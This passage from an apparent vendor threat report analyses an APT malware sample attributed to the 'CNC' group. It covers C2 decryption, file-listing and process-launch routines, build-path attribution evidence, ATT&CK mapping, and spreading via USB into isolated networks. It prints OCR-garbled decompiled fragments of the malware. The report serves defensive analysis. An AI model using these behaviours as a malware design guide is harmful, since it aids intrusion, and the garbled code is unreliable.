) = sub 13FF1946@(RvS5, (_ i 4)vB); ANTIVY E

20/28



Figure 2-36 Find the mark position of the received data

There should be a decryption operation on the subsequent data.

7 = (const _ ml281 *)XXTEA( y» (__inte4) R R i
do

++vld; .
while ( v57->m128i_i8[vi4] ); e *
SUb_lB:Fj.:EBE{" » 27, —:Ij ANTIY H

Figure 2-37 Decrypted obtained data

By searching for beutifymyapp on github, it is linked to the github repository of the suspected
organization. The name of the creator of the repository is also similar to the name of the creator of the
github repository in this attack, yuiopk1456. Operations on this repository only existed in November 2021,
and no other repositories were created after that.

201N B
B E14EHEETET 4-MEE :
yuiopkd5e/beutifymyapp 4 Zriesx S

B g T IeE—TEEE 11E1B

g —-—‘-*TJT_JR:'.'--':'FHfé?'- iy ANTIY H E

Figure 2-38 Similar repositories associated to github

In related similar repositories, suspicious strings were found, which may be encrypted domain names or
IPs.
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Figure 2-39 Suspicious strings in github

Connect to the IP or domain name stored in the github repository.

Figure 2-40 socket connection

Since the domain name, IP and github address are all invalid, it is impossible to continue to follow up.
Through the static analysis of the sample, it is inferred that after the attacker communicates with the
control terminal, there may be operations such as obtaining the list of files in the specified directory,
starting the process, and so on.

Get the list of files in the specified directory.
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wig = alj
w76 = alj
vd = @;
vizd = @;
setlocale(®, "en US.UTF-8");
sub_13FF203CO(1lpFileName, a2, L"\\*");
vS = (const WCHAR *)}1pFileName;
if ( *((_QwORD *)&w31 + 1) >= 8uibd )

vS = IpFileName[@];
FirstFileW = FindFirstFileW(v5, &FindFileData);
v77 = FirstFileW;
if ( FirstFileW == (HANDLE)-1i64 )
{

21[1].m128i_is4[@] = eis4;

al[1].m1281i ie4[1] = 15i64;

al->m128i iB[@] = @;

sub_13FF1F23@(al, (const _ ml281i *)"no fTiles", Buibd);

if ( *({_OWORD *)BvEl + 1) >= Buibd )

{

v68 = (WCHAR *)1pFileName[@];
if ( (unsigned __int64)(2i64 * *((_QWORD *)&vE1 + 1) + 2) >= 0x1000 )

v68 = (WCHAR *)*((_QWORD *)lpFileName[@] - 1);

if ( (unsigned __int64)((char *)lpFileName[@] - (char *)vG8 - B) > &x1F )
invalid_parameter_noinfo_noreturn();

}
j_j_free(véd);

(=S

H
return al;
¥
else
{
memset(vE2, @, sizeof(vE2));
do
{ ©%
if ( (FindFileData.dwFileAttributes & @xl@) == ANTIY
|| lstrempu(FindFileData.cFileMame, L".") && lstrcmpW(FindFileData.cFileName, L"..") )
{

Figure 2-41 File search related operations

Create pipelines.

B EENE AT
FEZarAols|H

Figure 2-42 Create a pipeline

Start the process.
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if ( CreateProcessA(v3l, v32->m128i_iB, @i64, 0i64, 1, OxBO0000Gu, 0i64, 8164, &StartupInfo, &Processinformation) )

{
do
i
33 = WaitForSingleObject(ProcessInformation.hProcess, @x32u) == @;
NumberOfBytesRead = @;
T '--.:__.'l ;Avail = @3
if ( PeekMamedPipe(hReadPipe, @i64, @, 8i64, RTotalBytesAvail, @d64) )
while ( 1 )
{
v34 = TotalBytesAvail;
if ( !TotalBytesAvail )
goto LABEL 59; = =
if ( TotalBytesivail > @x27@FF ) o o
s34 = Bx2TOFF;
if ( !REHH:';J.EI:'1"‘=-"‘:";; &B iffer, v34, &NumberOfE rtesRead, Biﬁ“} || | NumberOfBytesRead )

Figure 2-43 Start process

03
Attribution Analysis

In the previous observations, it was found that some CNC organization personnel would integrate vcpkg
in the development environment. This feature also exists in the samples discovered this time, and the
path is also consistent with the path used in the past.

C:V\Ulzers\user\\Desktopi\ \setups\vepke\ \packages\\opens=]l wfd—windows—=tatic

C:h\zershusery\Desktoph \setups\veplksi \packazes \openssl _wéd—windows—static/oerts
C:W\\Users'\user'\Desktop'\setups'\vepkz) \packages\\openssl_x64—windows—static/cert. pem
C:\Wsers'\V\user\V\Desktop'\ \setups \vopkg\ \packages' \openssl_xf4—windows—static\V\lib\\engines—1_1

o \Viuzsersh\user\desktop\ \setups\\ropkg\ \buildtrees'\opens=l\\ubd—windows—stati crel\\z=l'\packet_local b
Cohzershuser Vi Downl oadsivepket \buil dtreesh hour 1\ ar 0\ 420230493 70280319101 . elean’ '\ 1ibYheasy o
C:Wsersi\useryiDownloads vepket Wbuildtreest hour 1y sr ot W 420230493 70280319101 . clean'\li1bYhslist, ¢
C:%WUsersi\useryVi\Downloads\vepkgh ibuildtresst howrl s o A daD2304937-b280319101. clean’\\lib\setopt. ¢
C:\\Wsers\\user\V\Downl oads'\veopkgl \baildtrees' Yourl\srel \daD23042937-0b280319101. clean’ '\ 1ib\V\mult:. ¢

C: '\ \Wzers'\V\user\\Downl oad='\vepkgh \buildtrees) Y our]l\\sr el \ da0230d237-b280319101. clean’ '\ 1ib\\cookie o
C:WsershuserViDownloadsivepket W buil dtreest hour 1\ sr o W 420230453 7-b280319101 . clean'\libVhasyn—thread ¢
C:W\\Users'iuser\\Downloads' \wopkg' \buildtrees\ hourlh srel Y dal230d53 70280319101 . clean' ' 11bY\dynbuf. ¢
C:\WsersViaser V\Downdoads 'V \ropkgl \baildtrees' Yourl \sr el \da0230d493 70280319101, clean’\1ib\V\mime. ¢
C:\\Wzers\\user\\Downl oad=s'\vepkel \buildtrees' Y our]l\\sr e\ da0230d23 70280319101 . clean’\1ib\\conncache. ¢
C:hzershuser\Downl oadsivepket \buil dtrees hour 1\ 2r 0 V20230453 70280319101 . elean’ '\ 1ibViwtlelivtls ¢
C: W\ \UzersiuserV\Downloadst vwepkgh \buildtreest hour L sr el W da0230d537-0280319101 . clean’ ' 11bY\arl ¢
C:\WsersWViaserV\Downdoads ' \ropkgl \baildtrees' Your )\ sr el \da0230d937-0280319101 . clean’ '\ lab\\getinfo.
C:Vilsershiuser\\Downloads\ \vopke \buildtrees Y ourl\sret \da02304937-b280319101 . elean’ '\ libY\\strdup. o

C: '\ \WUzers\\user\\Download='\vepkgh \buildtrees) Y our]l\\ar el \ da0230d237-b280319101 . clean’\1ib'\\zendf. ¢
C:\UzersiuzerViDownl oadsViwepkst W buil dtreest hour 1 2r 04 4 420230493 70280319101 . clean’\lib\connect. ¢
E:E\Users\Iuser\IDuwnluaﬂs\\vcpkgi\bui1dtreesﬂ\curli\Erc\HdaﬂZEDdBET—bEBDSIEIUI.cleanl\lib\ﬁhttp_dijpst.c
C: Wi\ Usershvuser\V\Downdl oads\V\vophkg' \bui ldtrees\ \ourl \ st \da02304937-b280319101. :ltm'h'\li'b‘;'hmtlﬂi:ﬁki
C:\\Wzers\\user\\Download=s'\vepkgh \buildtrees) Y ourl\\sr e\ da0230d237-b280319101 . clean’\1ib'\ \eontentye
C:'\\zers\huserViDownl oadsViveplel W buil dtreesi ourl | 2r 244 420230423 7-b280319101 . clean’\1ibV\hitp proxy. ¢

[ LR [ SRR | DR T | | QR [N JE ) DURDR RO, I ) RN L D ISR () R, () QNG I O T T B T Tt DT, T, RS S RLE B [ .

Figure 3-1 Path information in this attack
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[5] .. 00000047 ©  CANUsersViuseryDesktopiisetupsiwepkgiipackagesyopenss] x6d-windows-static

[ .. 00000040 ©  CaUsersviserDeskiop\setups\vepkg\ipackagesopenssl_xid-windows-slatic/certs

F ... ooooooso © CAWsersyuseryDesktopisetupsiwepkgy\package s\\openss)_x64-windows-static/oert, pem

B .. 00000057 © CiUsersVwser\\Desktop\\setups\\wopkg\\packages\\openss|_x64 -windows-static\\lib\\engines-1_1

F:j o 00000060 C chhesersiiuserhdesktop\isetupsiiwcpkgiibuildirees\\openssipba-windows-static-rel\ssh\packet_localh
&1 ... no00o0sSS © C\Usersiwser\Downloadstwepkg\\buildtrees\ycurisrci\da2 304937 -b280319101 clean\\lib\\easy.c

[ .. oo0000SA € CA\Usersyiuser\\Downloads\\wepkgi\buildtrees\ycurlsrciydat2 304937 -b280319101 cleany\ibislist.c

[& ... nooooose © Caysersywsery Download sywepkgvbuildtreesycurfisrciydad2 304937 -b2B03 19101 cleamlib\setopt.c
[F .. 00000054 C  CoUsersuseriDownboads\wepkgibuildtreeseurlsre\dalZ 30d4927-b2A03 19101 clean b multic
[ .. 00000058 C  CAWUsers\iseri\Downboads\wepkg\ibuildtrees\curlsrc\dal2 304937628031 9101 clean\iib W cookie.c
[ ... noo00060 C CAWUsersyusery DownloadsyVweplkg v buildtrees\curlsroihdal2 304937 -b280319101 .clean\\ib\asyn- thread.c
Fﬂ o DOO000SE C CAUserstwser\iDownloads\wepkgibuildtreesycurfhsrcihdad2 304937 -b2803 19101 cleany\ib\Wwdynbuf.c
[5] .. 00000059 € CowUsersViuser\\Downloads\\wepkg\\buildtrees\hourlVisrciydad2 30d937-b280319101 cleany\ibmime.c
[5] .. 0000G0SE C CaUsersyusery\Download shwepkg\\buildtreesyycuriisrchydat2 304937 -b280319101 cleanilib\wconncache.c
[ .. 00000058 C  CaUsersyuuser\Downloads\wepkgibulldirees\icurhisrcda0230d927-b28021 9101 clean BB wilewils.c
[ .. 00000058 ©  ConUsersyuseryDownboadsywepkgiibuildtressycurlsredad230d927-b2803 19101 cleanyiburl <

B .. 0000005C ©  CAWUsers\wseri\Downboads\wepkg\\buildtrees\curlsrcdal2 30493762803 19101 clgany ib\getinfo.c
Fﬂ o DOOOOOSE C."'.,‘n,Usets‘a‘yuser'k,\,[!uwnluads\‘.,vcpkg'l."..l:luildtrees'ﬁ,'s,curh'\,src\\.daﬂ.z}ﬂdgi?-I:nZ ﬂ%ﬂ T

m . 0000005A © CA\Userstwusery\Downloads\wepkg\\buildtreestcurlisrci\hdal2 304937 -b2 01 cfgan E
[&] .. 0O00OOSC € CA\Usersyiuser\\Downloads\\wepkg\\buildtrees\ycurlyisrc\ydad230d937-b280319101 cleany\ib\\connect.c
# [ voniks

Figure 3-2 Path information in past attacks

Part of the code in the sample is also very similar.

Figure 3-3 Part of the code in this attack

BT 3R T N e T
I_l I"-’!H’-‘..: '.:nlr‘f| |LTG."F1

= =

RZAVEFEE

Figure 3-4 Some codes in previous attacks

Encryption functions are roughly the same.
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-y 3 s RPN TN | Wi tay s ] R MEL ww o wrpp ww gy

;EWTFmr; .};
[1] |= BYTE4(v38) | {{B?TES{ 1) | (v23 << B)) << 8);
= BYTES( } | C(BYTEQ(v28) | ((v24 | (BYTE1L(v38) << 8)) << 8)) << 8);
26 = BYTELA(v3B);
2] |= vas;
2[3]1 |= BYTE12(v38) | ((BYTE13(v28) | ((v26 | (HIBYTE(v33) << 8)) << 8)) << 8);
= -1648531527 * (8x58 / (unsigned int)vd);
if { (_DWORD)vO != 1 && v28 )
{
do
{
LODWORD(v29) = v9 - 1;
36 = (unsigned int)val;
31 = &v12[v22];
do
{
29 = (unsigned int}(v29 - 1};
2 = h-- & 3;
[1] -= ({v27 * v2B) + (v12[v29] ~ viB[v32]})) ~ (((4 * v27) ~ (vi2[vi ]>>51.‘J
+ ((v27 »> 3) ~ (16 ® vi2[v29])));
} v27 = w3l[1]; *
while ( ( DWORD)w29 ); ANTIY n
*12 -= ((v27 ~ v28) + (vi2[v22] *~ v18[v29 & 31)) ~ (((4 * v27) ~ (v12[v22] >> 5))

+ ((v27 »» 3) *~ (16 = __[ 221133;

Figure 3-5 Some codes of encryption functions in previous attacks

Figure 3-6 Part of the code of the encryption function in this attack

To sum up, the attack activity is preliminarily attributed to the CNC organization.
04
Threat Framework Mapping

This attack involved a total of 15 technical points in 8 stages in the ATT&CK framework. The specific
behaviors are described in the following table:

Table 4-1 Description of technical behaviors of recent CNC attack activities
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The ATT&CK framework map of the behavioral technical points of CNC organization-related attack
activities is shown in the following figure:
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Figure 4-1 CNC group attack activities correspond to ATT&CK framework mapping
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Summarize
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In recent years, the intention of APT organizations to attack the isolated network has become more and
more obvious, and the number of attack samples penetrating the isolated network has continued to

1 2113
increase. The attack organizations represented by Darkhotel . and Young Elephant 20 have developed

related attacks by themselves . Weapons are constantly updated. The CNC organization sample in this
attack activity has also been upgraded compared with the organization's previous samples. The vcpkg
development environment was also integrated during the development phase, and there was also the
behavior of obtaining content from the github repository. In the lateral movement stage, the method of
judging whether there is a new storage device access is different from the previous method of judging the
type of access device through GetDriveTypeA. The samples of this attack activity continuously obtain the
drive list. When a new storage device is connected, the file is copied to the newly connected storage
device, so as to achieve the purpose of spreading in the isolated network.
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